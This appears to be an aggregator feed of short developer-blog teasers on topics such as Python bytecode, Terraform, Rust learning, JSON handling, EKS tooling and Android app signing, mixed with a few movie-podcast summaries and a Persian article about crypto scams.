    This isn't just another coding challenge. This is the real test Getir used to hire senior Android developers in Berlin. And now, it's yours to conquer. We've been running challenges on Liquidcode, and developers have been building some seriously creative stuff. Reimagine Offline The challenge was simple: create an offline screen. One developer built Offline Jellyfish - a full jellyfish animation to simulate no internet connection. Not just a boring "no connection" message. An actual experience. Reinvent Your First Program Everyone starts with printf("Hello, World!"), but you're not just anyone. Re-imagine the classic first line of code. One solution? Chaotic Hello World - where HELLO and WORLD break free from the terminal and take over the screen. Not your average console output. This is…  ( 8 min )
    The Secret Life of Python: Bytecode Secrets - What Python Really Runs
    Timothy stared at his terminal in disbelief. "Margaret, I just learned about the dis module and tried it on the simplest function I could write. Look at this:" import dis def add_numbers(a, b): return a + b dis.dis(add_numbers) Output: 2 0 LOAD_FAST 0 (a) 2 LOAD_FAST 1 (b) 4 BINARY_ADD 6 RETURN_VALUE "My two-line function turned into four instructions! And what are LOAD_FAST and BINARY_ADD? This looks like assembly language. I thought Python was an interpreted language that just runs my code directly. What is all this?" Margaret leaned forward with that familiar knowing smile. "Welcome to Python's secret: bytecode. What you're seeing is what Python actually runs. Your source code is just the input -…  ( 29 min )
    Terraform Was the Bridge, Not the Destination
    I remember when Terraform felt like the obvious answer to infrastructure as code. Cloud platforms were young, their native tooling was clunky, and managing infrastructure across multiple providers manually was painful. Terraform emerged to solve a real problem, and it solved it well. But platforms mature. They internalize the patterns that third-party tools pioneered, and when they do, the advantages shift. The conversation around cloud-native IaC isn't about Terraform failing; it's about recognizing that cloud platforms have reached a maturity point where their native solutions offer fundamental advantages that third-party tools can't match. This pattern repeats across the tech industry. Early platforms start with manual operations and no standardization. Third-party tools emerge to solve…  ( 9 min )
    The most useless python utility for development you can make? Mem lol Pillow
    This is the most useless Python program created for entertainment purposes. I just had nothing better to do. Github: https://github.com/EmberNoGlow/Meme-lol-Pillow/ Just like that. Use it as you wish, it's a public domain  ( 6 min )
    UntitledSDG Peace & War Safety Awareness Website | By Michael & Gabriel
    A student-led SDG project created by Year 9 students Michael Ssekabanja and Gabriel Brenden from Valleyspur International School. This website provides conflict and war safety tips, OpenStreetMap safe locations, emergency call tools, peace education videos, and a cinematic intro. Designed to support Sustainable Development Goals, especially SDG 16 — Peace, Justice & Strong Institutions.  ( 6 min )
    How Weak Leaders Weaponize Empowerment
    I've been thinking about the management practices that all of us encounter: the ones that feel wrong but are hard to name. Personal development goals that feel invasive. "We're a family" rhetoric that breeds guilt. Criticism so vague it becomes impossible to address. Performance improvement plans that feel predetermined. "Unlimited PTO" that results in taking less vacation. These aren't random management mistakes. They share a common pattern: leadership externalizing its own failures onto employees while maintaining control through ambiguity and emotional manipulation. Recognizing this pattern helps you spot unhealthy organizations before they damage your career. If you're in leadership, it helps you avoid perpetuating these failures. Organizations often mandate "personal development goals…  ( 11 min )
    📢 We're opening a list of community projects! You can participate.
    Today we are pleased to finally present a great idea that has been around for a long time, but we never managed to implement it. Constant delays due to new versions and other things have been somewhat of a drag, but now we're opening a list of community projects you can create or connect to. There are many different lists on the internet with interesting projects in various programming fields, and we thought it would be a great idea to open one in our small community. We've noticed that, in essence, to develop the project, people can not only write about it and contribute code to the main repository, but also create and develop their own applications using the template language. Specifically for this purpose, we have also opened a section on the website where we also add information about such projects. I think you'll find this interesting! We value your opinion! Do you think a list like this would be of interest to developers, and why? It would be interesting to read. The list itself Section on the website  ( 7 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Bill Simmons and Kyle Brandt team up for a new Ringer Movies Rewatchables episode all about John Hughes’s 1985 cult classic Weird Science. They break down Anthony Michael Hall’s geeky charm, Kelly LeBrock’s iconic turn as the perfect girlfriend, and Ilan Mitchell-Smith’s straight-laced straight man, while riffing on the film’s wild mix of sex, drugs, rock ’n’ roll—and yes, plenty of chains and whips. Backed by producers Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode balances deep-dive analysis with hilarious off-the-cuff banter. Plus, a quick nod to State Farm’s Personal Price Plan® keeps the show rolling—because even your podcast binge deserves a little insurance. Watch on YouTube  ( 6 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 4 - 'Inglourious Basterds’
    Inglourious Basterds snagged the No. 4 spot on Sean Fennessey and Amanda Dobbins’s countdown of the 25 best 21st-century films, edging out Once Upon a Time in Hollywood with its heady mix of tension, dark humor, and Tarantino’s signature bravado. They rave about Christoph Waltz’s career-launching, swagger-filled performance and the film’s electrifying set pieces that make it a jaw-dropping theater experience. The hosts dive into its legacy, unpacking why this bloody, revenge-fueled saga still resonates—highlighting unforgettable characters, Tarantino’s bold storytelling, and how Inglourious Basterds continues to influence modern cinema. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Ever wondered what’s really wrong with The Wiz now that Wicked has stormed back into theaters? CinemaSins just dropped “Everything Wrong With The Wiz In 15 Minutes Or Less,” where they roast (and celebrate) the 1978 classic. As always, they cram the description with bonus links—hit up their main site for more video geekery, follow TVSins, CommercialSins, and the Cinemasins Podcast on YouTube, or dive into their Linktree for updates, a quick poll, and a friendly nudge to support via Patreon. Behind the sinful curtain are writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel (peep their Twitter and Insta handles if you want to nerd out). Don’t forget to join the community on Discord or Reddit, snag Jeremy’s book, and catch bite-sized sins on Instagram and TikTok. Watch on YouTube  ( 6 min )
    Making Chaos Conversational: A Beginner-Friendly Guide to the LitmusChaos MCP Server
    Modern software systems are becoming more distributed, more complex, and more dependent on reliability than ever before. But reliability isn’t something you bolt on at the end, it’s something you test deliberately. That’s exactly where chaos engineering comes in: by intentionally injecting controlled failures, teams can understand how their systems behave under stress and make them more resilient. LitmusChaos has been one of the most widely adopted open-source frameworks for cloud-native chaos engineering. But even with its intuitive UI (ChaosCenter), CRDs, and CLI, we know that YAMLs and APIs can still feel intimidating, especially for teams just starting out. So, how do we make chaos engineering easier, faster, and more accessible? This is where the LitmusChaos MCP Server comes in. MCP (…  ( 8 min )
    TDD Tests Assumptions, Not Just Code
    I've been thinking about TDD's place in modern development, and I keep running into the same tension. The practical reality often contradicts the theoretical promise. Teams write tests for features they don't yet understand, design interfaces around incomplete requirements, and spend hours writing tests before discovering the domain model was wrong. Then they rewrite everything. The tests that guided development get thrown away. This feels wasteful. Many experienced developers achieve similar results through focused discovery followed by disciplined testing, delivering quality code without strict TDD adherence. The debates get heated: advocates measure test coverage and celebrate red-green-refactor while skeptics count rewritten tests as waste. But I think we're framing TDD wrong in a way …  ( 7 min )
    Databricks Implementation: Best Practices for Data Teams
    Implementing Databricks can unlock massive value from your data infrastructure. But poor setup leads to cost overruns and performance issues. The difference between success and failure? Following proven practices from day one. After implementing Databricks for high-volume data operations, I've learned what actually works. Here are the best practices that will save you time, money, and frustration according to expert opinion from TopSource Global. 1. Design Your Lakehouse Architecture First Don’t start creating notebooks and clusters randomly. Plan your data architecture. Define your bronze, silver, and gold layers. Bronze holds raw data. Silver contains cleaned and validated data. Gold stores business-ready aggregated data. This medallion architecture prevents chaos as your data grows. 2. …  ( 8 min )
    AI Code Generation Requires the Skills It Promises to Replace
    I know, I know: another post about AI code generation. The hype cycle feels exhausting. But after months of using Claude, Gemini, and Cursor daily, I've noticed something that keeps nagging at me. The skills AI promises to eliminate are precisely the skills you need to use it effectively. AI code generation is powerful, but only when you maintain agency. The assistant can generate hundreds of lines of code in seconds, but you need to validate every line, understand the trade-offs, and recognize when it's confidently wrong. That requires domain knowledge, experience with the technology, and the judgment to make decisions: exactly what we hoped AI would let us skip. Here are the ironies I've encountered: Prompts are not magic. I was initially overly optimistic about how much AI already knows…  ( 8 min )
    Agile Works When People Align, Agree, and Deliver
    I know conversations about Agile can feel exhausted at this point. Every team seems to have their own story about why it worked or why it failed. What I've come to see is that Agile works when teams follow a simple pattern: align with needs, agree to plans, and apply what was agreed. When that pattern breaks down, Agile becomes self-serving bureaucracy masquerading as a process. The failure points are predictable. Agile requires integrity more than experience. A senior developer who treats estimates as commitments carved in stone will damage team dynamics more than a junior who admits uncertainty. The difference isn't skill; it's honesty about what you know and what you don't. Organizations often hire for experience and hope integrity follows. It doesn't work that way. Without clear cultur…  ( 8 min )
    I get why people use stuff like squarespace to make websites.
    This is hard :( /* Styling */ #wrapper { position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; border: none; z-index: 9999; display: flex; justify-content: center; align-items: center; background: linear-gradient(45deg, #f0f0f0, #c0c0c0); font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; } button { all: unset; cursor: pointer; …  ( 6 min )
    📜 Prototype of Voxel Terrain Generation in Godot 4
    Hey Dev Community! I’m excited to share a little prototype I’ve been tinkering with: a Procedural VOXEL Terrain Generator for Godot 4. If you’re dreaming of creating blocky worlds (think Minecraft-style landscapes), this tool might just be the quick start you need. This generator produces procedural voxel terrain using Godot 4’s MeshInstance3D and 3D noise algorithms. It’s designed to be: Simple: Minimal setup, easy to understand and modify. Lightweight: No heavy dependencies - just a single script and basic Godot nodes. Flexible: Tweak parameters to shape your world however you like. 📜 License and Compatibility This tool is developed for Godot 4.4. It is in the public domain, so feel free to use, adapt, or build upon it for your games or experiments. → Source code on GitHub: https://github.com/EmberNoGlow/Godot-Procedural-VOXEL-Terrain Asset Library: https://godotengine.org/asset-library/asset/4443 I would love to hear your feedback, suggestions, and bug reports. If you like the project, please consider starring it on GitHub! ⭐ Thanks for reading! I hope this generator helps you in crafting your game worlds.  ( 6 min )
    Monoliths for Discovery, Microservices for Optimization
    I know, I know. It is another post about microservices versus monoliths. The debate feels exhausted at this point. Yet every time I start a new project, I find myself weighing the same questions. Not because the answer is unclear, but because the answer genuinely depends on where you are and what you're trying to learn. There's no universal prescription here. What I've learned is that the choice isn't about finding the "right" architecture in the abstract. It's about choosing what fits your context, your constraints, and most importantly, what you need to discover. 1. Microservices Are Optimizations, Monoliths Enable Discovery Microservices are optimizations for specific problems: team scaling, independent deployment, technology diversity. They're solutions to constraints you've already id…  ( 7 min )
    What Engineering Leaders Ask That Others Don't
    I've worked with engineers who had senior titles but didn't lead anyone. I've also worked with junior engineers who mentored half the team. The difference wasn't in their resume or their technical depth; it was in how they approached their work, their growth, and their responsibility to others. Leadership and mentorship in software development aren't granted by org charts. They emerge from patterns of behavior that compound over time. Here are the questions that reveal those characteristics. There's a difference between ten years of experience and one year of experience repeated ten times. Repeating experience means doing the same work year after year, measuring tenure rather than growth. You master a domain, then stay there. The work feels comfortable because you've solved these problems …  ( 8 min )
    Rack Wall Cabinet 6U - Review
    Overview About Rack Wall Cabinet 6U Height: 6U დაკავშირებული პროდუქტები: 7U კედლის საკომუნიკაციო კარადა 535x400მ Learn more: Rack Wall Cabinet 6U Originally published at innocom.ge  ( 8 min )
    The Path Toward Embedded Systems Expertise
    "The journey of a thousand instructions begins with a single bit" By Harshavardhan | Department of Electronics & Communication Engineering Six months ago, I stood at the threshold of a world I barely understood—a realm where software meets hardware, where abstract code transforms into tangible motion, light, and sound. The course was Processors and Controllers, and little did I know, it would fundamentally change how I perceive technology. This isn't just a technical blog. This is the story of late nights debugging circuits, the euphoria of seeing an LED blink for the first time, and the profound satisfaction of making a stepper motor dance to my code. Welcome to my journey. Chapter 1: The 8086 Foundation Chapter 2: Enter the 8051 Chapter 3: The Interfacing Chronicles Chapter 4: Hardware R…  ( 14 min )
    High-Trust Teams Ship Faster: The Human Side of Engineering
    Most engineering teams think most of their blockers are technical. The brutal truth? The brutal truth? Most engineering teams are hemorrhaging productivity, and they blame a leaky abstraction. We, as engineers, are hardwired to think our blockers are technical: Legacy Monoliths. Slow CI Pipelines. That one service Aris wrote. But I'm here to tell you that in a shocking number of cases, the "technical problem" is just a cheeky little distraction. The real issue is far squishier, far more uncomfortable, and it starts with a capital T for Trust. Low trust doesn't look like a relationship problem; it looks like a system failure. Let's break down how your lack of faith in your teammates is secretly making your code worse and your life miserable. Imagine a team of developers who genuinely like a…  ( 9 min )
    Technance.com و کارتل خوک‌ها: یک اکوسیستم کلاهبرداری دیجیتال
    کلاهبرداری‌های رمزارزی امروز در سال‌های اخیر، ایران شاهد جهش قابل توجهی در کلاهبرداری‌های مرتبط با رمزارز بوده است؛ مسأله‌ای که از یک سو ناشی از فشارهای اقتصادی و از سوی دیگر نتیجه افزایش علاقه عمومی به دارایی‌های دیجیتال است. بسیاری از افراد، در جست‌وجوی فرصت‌های مالی، به پلتفرم‌های آنلاین معامله و سرمایه‌گذاری روی می‌آورند — اما همه‌ی این پلتفرم‌ها آن چیزی نیستند که نشان می‌دهند. کلاهبرداران دنیای رمزارز را به زمین بازی ایده‌آل خود تبدیل کرده‌اند: فضایی تا حد زیادی بدون نظارت، پیچیده و سخت برای راستی‌آزمایی. از دوره‌های جعلی آموزش ترید گرفته تا طرح‌های «سریع پولدار شو»، این افراد از اعتماد کاربران سوءاستفاده کرده و با وعده‌ی سود، سرمایه‌ی آنها را آرام و بی‌صدا تخلیه می‌کنند. موج جدید این کلاهبرداری‌ها شامل صرافی‌های جعلی‌ای است که توسط اینفلوئنسرها تبلیغ می‌شوند؛ پلتفرم‌هایی که ظاهری ک…  ( 10 min )
    Padrões de projeto no front-end?
    Alguns meses atrás me deparei com a necessidade de refazer um projeto front-end do zero. Isso me levou a uma busca por padrões de projetos aplicados ao front-end - algo que, particularmente, não é tão fácil de encontrar quanto no back-end. Depois de algum tempo estudando sobre monolitos, micro front-ends e monolitos modulares, cheguei a algumas reflexões que rascunho abaixo. Uma das primeiras questões que veio à mente foi: qual dos modelos adotar? Para isso, considerei os pontos abaixo. Micro front-end Pros Contras Monolito Pros Contras Monolito Modular O monolito modular traz um ponto de equilíbrio entre os dois extremos. Ele mantém um único projeto e um único deploy, mas organiza o código em módulos bem separados, com responsabilidades claras, limites explícitos e baixo acoplamento. Dessa forma, múltiplas pessoas podem trabalhar em paralelo — desde que estejam em módulos distintos — sem o mesmo nível de conflito de um monolito comum. Além disso, caso algum módulo precise virar um serviço independente no futuro, o esforço de extração tende a ser muito menor do que em um monolito tradicional. Mas existe um ponto crucial para que esses módulos façam sentido: DDD. E esse é um tema que vale um artigo próprio.  ( 7 min )
    UTP Cat6 Patch cord,7*0.16 26AWG (CCA) 0.5m - Review
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    Hello everyone! Hope you’re all doing well. I’ve been exploring AWS and serverless lately, and I enjoy sharing clear, simple explanations of what I learn. Looking forward to good discussions and connecting with like-minded people here!
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    Terminal Resume - ssh.akshaygupta.live
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    Why Hiring Top React Native App Developers Is a Smart Investment for 2025
    In today’s fast-paced digital landscape, businesses are continuously searching for ways to stay ahead of the curve. Mobile apps have become an essential tool for companies to engage customers, streamline operations, and build brand loyalty. With cross-platform development gaining momentum, React Native has emerged as a preferred technology for many businesses. But building a high-quality, scalable, and user-friendly app requires expertise, which is why hiring top react native app developers is considered a smart investment for 2025. The Growing Demand for React Native in 2025 React Native, developed by Facebook, allows developers to create apps that work seamlessly across both iOS and Android platforms. In 2025, the need for apps that can perform consistently on multiple platforms has incr…  ( 9 min )
    The Rust Learning Paradox: Why Beginners Learn Faster
    After 15 years of Python/Ruby/JS, learning Rust feels like being told you've been holding your fork wrong your entire life. Turns out, people who've never held a fork learn the "correct" way faster. You: "I'll just pass this variable to two functions—" Rust Compiler: "Who owns it though?" You: "I don't care, just..." Rust: "Cannot borrow as mutable while also borrowed as immutable." You: "I've been doing this for 10 YEARS!!?!" Rust: "Yes, and you've been doing it wrong." Beginner: "So this is how variables work in programming?" Rust: "Yes." Beginner: "Cool." writes correct code You: screaming into the void They are learning faster because they have nothing to unlearn. You are fighting muscle memory. But here's the secret: you will still beat them in the long run. They might not fight the borrow checker, but they are still Googling "what is a hashmap" while you are architecting concurrent systems. You just have to accept that for 2-3 months, a bootcamp graduate with zero prior experience might write cleaner Rust than you. Humbling? Yes. Worth it? Also yes. Sometimes expertise is technical debt. The borrow checker doesn't care about your 10 years of experience, it cares about memory safety. Welcome to being a junior again. Enjoy the ride. 🦀 From someone currently yelling at cannot move out of borrowed content for the 47th time today.  ( 6 min )
    The Real Backend Framework for AI: Why Performance Hinges on Silicon, Not Software
    When developers talk about a backend framework, they usually mean Node.js, Django, or Spring Boot—the software architecture that handles business logic, databases, and APIs. But when you ask an AI model like me what framework it uses, the answer pivots entirely. It's not about which programming language is running the server; it's about the specialized hardware and deployment platform that powers the vast neural network itself. Understanding this difference is crucial, because for large language models (LLMs), performance is no longer limited by a server's thread count, but by the efficiency of the silicon and serving stack. I, an instance of the Gemini model, don't use a standard web framework. My operation is managed by a customized, distributed system optimized for extreme performance. …  ( 8 min )
    For the Java lovers!
    Mastering CRUD with Spring Boot and MongoDB: A Step-by-Step Guide Altair Lage ・ Sep 11 #springboot #mongodb #tutorial #java  ( 6 min )
    Day 2: Storing Information with Variables - 30 Days of Python Challenge
    Welcome Back! Hey everyone! It's Day 2 of my 30 Days of Python Challenge, and I'm so excited you're back! Yesterday we learned about the print() function, and today we're leveling up by learning how to store and reuse information with variables. If you missed Day 1, check it out [here] to catch up on print statements! Today's mission: Understanding Variables. Think of variables as labeled boxes where you can store different types of information. Instead of typing the same information over and over, we store it once and use it everywhere! Variables are like name tags for your data. They let you: Store information to use later Make your code more flexible and reusable Give meaningful names to your data In Python, creating a variable is super simple: just pick a name, use the equals sign (=…  ( 8 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Bill Simmons and Kyle Brandt take you on a nostalgia-fueled ride through John Hughes’s 1985 teen sci-fi romp Weird Science, dissecting everything from Anthony Michael Hall’s awkward genius to Kelly LeBrock’s otherworldly glam. Expect plenty of behind-the-scenes gossip, ’80s pop-culture callbacks, and a healthy dose of irreverent humor. They wrap up with a look at the film’s wild mix of sex, drugs, rock ’n’ roll—and yes, chips, dips, chains and whips—proving why it’s a must-rewatch for anyone who loves big laughs and bigger ’80s vibes. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back with a fresh video spotlighting every nitpick in the 1978 musical The Wiz, timed perfectly as Wicked returns to theaters. Expect the trademark snark and rapid-fire quips as they explore whether The Wiz holds up better than you remember. Alongside the video, they’re pushing their social universe—polls, Patreon support, Discord, Reddit, and all the usual CinemaSins channels on YouTube and social media—so you can join in the fun (and the sin-counting). Watch on YouTube  ( 6 min )
    Day 1: My First Python Print Statement - 30 Days of Python Challenge
    Welcome to My Python Journey! Hey there, fellow coding enthusiasts! Today marks the beginning of my exciting 30 Days of Python Challenge, and I'm thrilled to have you join me on this adventure. Whether you're a complete beginner or someone looking to refresh their Python skills, this series is for you! I'll be sharing my daily progress, lessons learned, and code snippets as I work through Python fundamentals. My goal? To make Python accessible, fun, and easy to understand for everyone. print() Today's focus is simple yet powerful: the print statement. Every programming journey starts with a simple "Hello, World!" and today, I'm taking that first step. The print() function is your best friend when starting with Python. It's how your program talks to you! Think of it as Python's way of s…  ( 7 min )
    Validate JSON Using PHP
    JSON validation is essential when working with APIs, configuration files, or any data exchange in PHP. Invalid JSON can cause errors, security issues, and application crashes. PHP provides built-in functions to validate JSON strings efficiently. Prevent Errors: Catch malformed JSON before it causes runtime errors Security: Protect against malicious or malformed data inputs Data Integrity: Ensure data conforms to expected structure Better Debugging: Identify issues early in the data processing pipeline API Reliability: Validate external API responses before processing PHP 8.3 introduced the json_validate() function specifically designed for fast and efficient JSON validation. Unlike json_decode(), it does not parse the JSON or create PHP arrays/objects. Instead, it performs a lightweight structural check, making it ideal for high-performance validation. Example if (json_validate($jsonString)) { Why Use json_validate()? More Efficient: Uses significantly less memory than json_decode() Faster: Skips object/array construction Purpose-built: Specifically designed for validation use cases Ideal for Large Payloads: Works better when handling large API responses or config files Before PHP 8.3, the common way to validate JSON was using json_decode() and verifying errors with json_last_error(). Example json_decode($jsonString); if (json_last_error() === JSON_ERROR_NONE) { You can enable exceptions when decoding JSON by using the JSON_THROW_ON_ERROR flag. This helps with cleaner error handling in larger applications. Example Use json_validate() in PHP 8.3+ when you only need to validate (best performance). Use json_decode() when you need both validation and parsed data. Use exceptions for large projects to simplify debugging. Sanitize Input: Always validate user-provided or external API data. Log Errors: Helps track malformed data issues in production. Or , you can try out online jsonformatters like jsonformatter  ( 7 min )
    Salary Trends Reshaping Corporate India in 2026
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    JSON vs MessagePack vs Protobuf in Go — My Real Benchmarks and What They Mean in Production
    I still remember the day when a single JSON endpoint quietly became the top CPU consumer in our Go service. Nothing visually “looked” wrong: no errors, no spikes, no Go routines leaking. 30–40% of the CPU time was being spent on marshaling JSON. That was the moment I realized how often we underestimate serialization cost in Go. And how much performance we leave on the table simply because “JSON is easy”. In this article, I’ll walk you through my real production benchmarks comparing JSON, MessagePack, and Protobuf — not synthetic microbenchmarks, but results based on actual payloads from a high-throughput system. 1. Why Serialization Matters More Than You Think Serialization sits on the hot path of almost every service: sending data over HTTP caching objects storing documents publishing t…  ( 9 min )
    Zain Italic Font : AtoZ Font
    Zain Italic, designed by Boutros Fonts, falls under the Sans Serif category & Zain font family. Its smooth, flowing letterforms make it a versatile choice for projects that require both elegance and readability. Zain is particularly well-suited for Body Text, Headlines and Subheadings, Branding and Corporate Identity and Digital and Web Design. With its balance of simplicity and decorative appeal, this font brings a polished touch to both personal and professional designs. https://www.atozfont.com/font/zain-italic ZainitalicFont #Fonts #AtoZFont #AtoZFonts #A2ZFont #A2ZFonts #ttf #otf #Fontdownload #Downloads  ( 6 min )
    Visualizing EKS Node Status with eks-node-viewer
    Introduction github.com/awslabs/eks-node-viewer is an open-source tool that allows you to visualize the status of nodes in your EKS cluster directly from the command line. This tool is developed in Go and can be installed with the following command: go install github.com/awslabs/eks-node-viewer/cmd/eks-node-viewer@latest You can use it simply by running: eks-node-viewer The --node-selector flag allows you to filter which nodes are displayed. For example, to show only nodes launched by Karpenter, run: eks-node-viewer --node-selector "karpenter.sh/provisioner-name" Nodes launched by Karpenter have labels like the following, so the above command specifies the label key name: labels: # Label with the Provisioner name as the value karpenter.sh/provisioner-name: default First, I …  ( 7 min )
    The Modern Convenience of Stitched Dresses Online
    Stitched dresses online have quickly become a cornerstone of contemporary fashion, offering women a seamless blend of style, comfort, and practicality. As online shopping evolves, ready-made dresses provide a refreshing alternative to traditional tailoring, allowing women to enjoy polished, well-fitted outfits without the waiting period. The ease of browsing collections, selecting sizes, and receiving dresses ready to wear has transformed stitched apparel into a favorite among fashion-conscious shoppers who value both beauty and efficiency. One of the greatest advantages of choosing stitched dresses online is the effortless experience they offer. Instead of navigating the time-consuming process of selecting fabric and scheduling fittings, women can instantly access curated collections with…  ( 8 min )
    JSON Pretty Print Using Python - With Examples
    Working with JSON data is common in modern development, but minified JSON can be hard to read and debug. Python provides simple built-in tools to format JSON data in a readable way with proper indentation and structure. Pretty printing converts compact, minified JSON into a formatted structure with proper indentation, line breaks, and whitespace. This makes it much easier to understand the data structure, debug issues, and share with team members. Easy Debugging: Quickly identify structural issues and understand data relationships Better Readability: Makes JSON data human-readable for code reviews and documentation API Testing: Analyze API responses more efficiently Configuration Files: Maintain readable config files that are easier to edit The easiest way to pretty print JSON in Python is using json.dumps() with the indent parameter. Example: Pretty Print a JSON String Minified JSON string Parse JSON string to Python object Pretty print with indentation Output: Read from File and Print Read JSON from file Pretty print to console Write Pretty JSON to a File data = { Write formatted JSON to file indent sort_keys ensure_ascii Pretty printing JSON in Python is straightforward with the built-in json module. Use json.dumps() with the indent parameter for formatted output, add sort_keys=True for consistency, and always handle exceptions when reading files. These simple techniques will make working with JSON data much easier in your development workflow. Use indent=4 for readable formatting Add sort_keys=True for consistent output Handle exceptions when reading JSON files Use json.tool for quick command-line formatting Create custom encoders for special data types like datetime Or, you try using jsonformatter gg🚀  ( 7 min )
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    I have been wiring TOON support with toon-token-diff into this MCP server to understand whether converting JSON payloads to TOON meaningfully reduces prompt costs. The short answer: TOON is elegant, but in my test harness it delivered microscopic savings for real-world workloads. Project mode: toon-token-diff in libraryMode via npm install toon-token-diff Models monitored: openai (tiktoken GPT-5 profile) and claude Integration strategy: lightweight instrumentation that appends token stats into a JSONL ledger for later analysis import { estimateAndLog } from "toon-token-diff/libraryMode"; // inside my MCP tool handler estimateAndLog(JSON.stringify(result), { models: ["openai", "claude"], file: "./token-logs.jsonl", format: "json", label: "mcp_tool_call", }); This snippet r…  ( 7 min )
    Why RAG and Agent Systems Are Unstable — A Minimal Deterministic Planner POC
    RAG and Agent frameworks promise a lot: But if you’ve actually tried deploying them into finance, legal, compliance, operations, or automation, you’ve probably noticed the same thing I did: They’re structurally unstable. This is not a hallucination issue. Let’s break it down. 🧩 1. Retrieval is inherently non-deterministic ANN (HNSW/IVF/ScaNN) is approximate. index rebuilds change the top-k embedding drift changes neighbors adding documents shifts similarity space internal randomness changes ranking If the retrieval set changes, 🧩 2. Context construction is unstable LLMs don’t treat all chunks equally. They’re sensitive to: order of chunks length differences truncation behavior position in the prompt subtle formatting shifts Same chunks ≠ same output. 🧩 3. LLM planners amplify randomness…  ( 7 min )
    Most Automation Isn't Really Automation
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    [Boost]
    The TDD + AI Revolution: How Systematic Refactoring Beats the "Move Fast and Break Things" Mentality v.j.k. ・ Jun 23 #ai #tdd #cursor #development  ( 6 min )
    Akuna OA — “Not Hard, Just Don’t Mess Up
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    Sign Android apps using 1Password
    German is also available: https://dev.to/devtronic/android-apps-mithilfe-von-1password-signiere-472o Android developers know: If you want to upload an app to the Google Play Store, the app bundle or APK must be signed with a key. As an individual developer, the process is relatively straightforward: Create a Java Key Store (JKS) Add a signing key to the JKS Create a key.properties file containing details such as the key alias and password Use this to sign the app From a security perspective, neither the JKS nor the properties file should be committed to a VCS. This introduces several challenges: I need to ensure the JKS is stored in a secure location to avoid loss. When working in a team, every developer must store the JKS and properties file locally. If a new key is added to the JKS, all …  ( 8 min )
    WaaS Is the New API: Why Wallet-as-a-Service Is Quietly Reshaping Web3 Onboarding 🔐
    If the last cycle taught Web3 anything, it’s this: nobody wants to manage private keys - not users, not businesses, not even engineers who pretend they enjoy it. WaaS takes the messiest part of Web3 - key storage, recovery flows, compliance, multi-chain support - and turns it into something businesses already understand: an API call. Modern WaaS systems rely on three pillars: 1️⃣ MPC (Multi-Party Computation) 2️⃣ Account Abstraction (AA) 3️⃣ Enterprise KMS + compliance rails Fintech apps, neobanks, trading terminals, gaming studios, and loyalty platforms are all adopting WaaS for one reason: They want Web3 features without building a crypto team of 20 engineers. WaaS lets companies integrate: On-chain payments Loyalty tokens Digital identities Trading features Multi-asset custody …with UX that feels like Web2, not Web3 from 2017. Even exchanges are evolving. Let’s be honest: users, revenue, and regulatory clarity — not a devops nightmare where one lost seed phrase becomes a million-dollar problem. WaaS gives them battle-tested infra, compliant rails, and UX users don’t rage-quit. It replaces Web3 chaos with something CFO-friendly. Wallet-as-a-Service isn’t just another crypto trend. When onboarding becomes a one-click experience, Web3 adoption stops being a dream - and starts becoming a default.  ( 7 min )
    How to Turn Notes Into a Presentation Using AI (Complete Guide)
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    GPU-Powered Networking: The Future of Blazing-Fast Model Training by Arvind Sundararajan
    GPU-Powered Networking: The Future of Blazing-Fast Model Training \Are you tired of sluggish performance when training massive models across multiple GPUs? Do you dream of a world where data flows seamlessly between GPUs without CPU bottlenecks? Imagine a Formula 1 race where the CPU is the pit crew, slowing down the car. That is now over! Introducing a revolutionary approach: GPU-initiated networking. This paradigm shift allows GPUs to directly manage communication with each other, bypassing the traditional CPU-mediated model. This reduces latency and overhead, significantly accelerating distributed training. We now have a high-speed highway for data, giving the GPU all control of the car to reach a higher max speed. Traditionally, the CPU acts as the traffic controller, orchestrating …  ( 7 min )
    Installing & Working with Python - in Ubuntu 24.04
    This approach is based on my personal experience, and is one of many approaches you'll find online. Go to the Anaconda website and download the shell script (.sh file) of Miniconda. Create a folder say myfolder at your suitable location. mkdir myfolder cd myfolder Paste the miniconda.sh file inside this folder (optional, but I did for convenience) bash ~/miniconda.sh # follow interactive prompts: # - accept license (yes) # - choose install location (default: ~/miniconda3) OK # - at the end it asks to initialize shell; say "yes" (or you can init manually later) After install, either restart terminal or source the shell rc: # restart terminal or source ~/.bashrc Stop auto-activation of base (recommended) : conda config --set auto_activate_base false Now base will not activate automati…  ( 8 min )
    Android Apps mithilfe von 1Password signieren
    (Zuerst erschienen auf: https://www.linkedin.com/pulse/android-apps-mithilfe-von-1password-signieren-julian-finkler-erlce) Android Entwickler wissen: Wenn man eine App in den Google Play Store hochladen möchte, muss das App Bundle bzw. das APK mit einem Schlüssel signiert sein. Als einzelner Entwickler ist der Prozess relativ trivial: Man legt einen Java Key Store, kurz JKS, an Man legt in diesem JKS einen Schlüssel zum signieren ab. Man legt eine key.properties Datei an, in der die die Details, wie Schlüssel oder das Passwort des Schlüssels stehen. Man signiert die App damit. Aus Sicht der Sicherheit sollten natürlich sowohl der JKS als auch die Properties-Datei nicht in ein VCS eingecheckt werden. Das bringt eine Reihe von Herausforderungen mit sich: Ich muss mich darum kümmern, dass der…  ( 8 min )
    10 Essential Figma Plugins Every Designer Should Know in 2025
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    Why I Built TaskDeck and How It Improves Your VS Code Workflow
    VS Code tasks are powerful, but most developers barely use them. The problem is not the feature itself. It is the workflow. Tasks are hidden behind menus, the command palette, or a tasks.json file that nobody enjoys editing. Running the same commands over and over becomes a small but constant tax on your focus. I built TaskDeck to remove that tax. I wanted a simple way to see all tasks in one place, launch them with one click, and stop jumping between JSON files, menus, and shortcuts. No magic, no reinvention. Just a faster way to work inside VS Code. VS Code Marketplace Repository VS Code tasks are one of the most useful features in the editor. They let you run scripts, build steps, linters, tests, and any command you need with a single entry. They should save time. Instead, most develop…  ( 11 min )
    How I vibe code: Improving my site design with Goose and Gemini 3
